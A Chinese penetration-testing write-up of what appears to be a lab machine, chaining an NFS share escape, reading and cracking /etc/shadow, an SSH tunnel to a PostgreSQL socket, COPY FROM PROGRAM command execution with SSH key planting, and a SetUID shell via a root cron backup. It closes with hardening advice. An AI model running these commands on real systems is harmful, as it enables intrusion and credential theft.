文章总结: 该文档是一篇渗透测试实战技术文章,详细描述了利用不安全的NFS配置和PostgreSQL数据库进行权限提升的完整攻击链。攻击者通过NFS共享逃逸读取系统敏感文件获取凭证,破解哈希后建立SSH隧道访问仅监听本地UNIX套接字的PostgreSQL服务,再利用数据库的COPYFROMPROGRAM功能执行命令,最终通过分析并滥用以root身份运行的定时备份脚本,成功实现从普通用户到root的权限提升。文章提供了具体的操作命令和步骤,并强调了相关配置的安全风险与防范建议。 综合评分: 85 文章分类: 渗透测试,内网渗透,红队,漏洞分析,实战经验
利用NFS逃逸与PostgreSQL隧道提权
柠檬赏金猎人
2026年2月14日 10:40 广东
概述
核心挑战围绕不安全的NFS配置和PostgreSQL数据库展开。攻击者首先通过NFS共享读取系统敏感文件获取凭证,然后利用SSH隧道访问PostgreSQL UNIX套接字,最终通过滥用定时备份任务实现从普通用户到root的权限提升。本文将详细解析整个渗透测试过程,涵盖信息收集、漏洞利用和权限提升的完整链条。
技术/功能
- NFS枚举与文件读取:利用
showmount和netexec发现并列出NFS共享,通过配置缺陷逃逸共享边界读取系统文件。 - 凭证破解:从
/etc/shadow和PostgreSQL历史文件中提取哈希,使用John the Ripper破解yescrypt哈希。 - SSH UNIX套接字隧道:通过SSH的
-L选项将本地端口转发到远程UNIX套接字,从而访问仅监听本地套接字的PostgreSQL服务。 - PostgreSQL命令执行:利用
COPY FROM PROGRAM功能在数据库服务器上执行操作系统命令。 - Cron任务滥用:通过分析定时备份脚本,利用
pg_basebackup工具将SetUID shell写入备份目录,实现权限提升。
使用示例
1. NFS共享枚举与文件读取
使用netexec枚举NFS共享并利用no_subtree_check配置缺陷读取任意文件:
# 枚举共享
netexec nfs 10.129.234.160 --enum-shares
# 逃逸共享边界列出根目录
netexec nfs 10.129.234.160 --ls /
# 下载系统敏感文件
netexec nfs 10.129.234.160 --get-file /etc/shadow shadow
2. 破解用户哈希
使用John the Ripper破解从shadow文件中获取的yescrypt哈希:
john --wordlist=./rockyou.txt ./shadow.hashes
3. 建立SSH隧道访问PostgreSQL
使用获取的凭证建立到PostgreSQL UNIX套接字的SSH隧道:
sshpass -p service ssh -N -L 5432:/var/run/postgresql/.s.PGSQL.5432 [email protected]
4. PostgreSQL命令执行与SSH密钥部署
通过PostgreSQL执行系统命令并部署SSH公钥:
-- 创建表存储命令输出
CREATE TABLE cmd(output text);
-- 执行id命令
COPY cmd FROM PROGRAM 'id';
-- 创建.ssh目录并设置权限
COPY cmd FROM PROGRAM 'mkdir -p /var/lib/postgresql/.ssh';
COPY cmd FROM PROGRAM 'chmod 700 /var/lib/postgresql/.ssh';
-- 写入SSH公钥
COPY (SELECT 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing')
TO PROGRAM 'tee /var/lib/postgresql/.ssh/authorized_keys';
5. 利用Cron任务提权
分析备份脚本并利用pg_basebackup写入SetUID shell:
# 查看备份脚本
cat /usr/bin/backup
# 复制bash到PostgreSQL数据目录并设置SetUID
cp /bin/bash /var/lib/postgresql/14/main/
chmod 6777 /var/lib/postgresql/14/main/bash
# 等待cron执行后运行提权shell
/opt/backups/current/bash -p
注意事项
- NFS配置风险:
no_subtree_check选项允许客户端逃逸共享目录边界,应避免在生产环境中使用。 - PostgreSQL安全:默认情况下PostgreSQL仅监听本地UNIX套接字是安全做法,但通过SSH隧道可能绕过此限制。
- 备份脚本权限:以root身份运行的备份脚本不应信任用户可写的源目录,否则可能被注入恶意文件。
- 凭证管理:避免在历史文件或数据库中存储明文或弱哈希密码,应使用强哈希算法并定期轮换。
- 工具版本:使用
netexec时注意版本,旧版本可能存在文件读取bug(本文涉及的问题已修复)。
参考链接
- https://www.netexec.wiki/nfs-protocol/escape-to-root-file-system
- https://www.postgresql.org/docs/current/app-pgbasebackup.html
- https://crackstation.net/
- https://github.com/DominicBreuker/pspy
仅限交流学习使用,如您在使用本工具或代码的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。“如侵权请私聊公众号删文”。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:柠檬赏金猎人 《利用NFS逃逸与PostgreSQL隧道提权》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论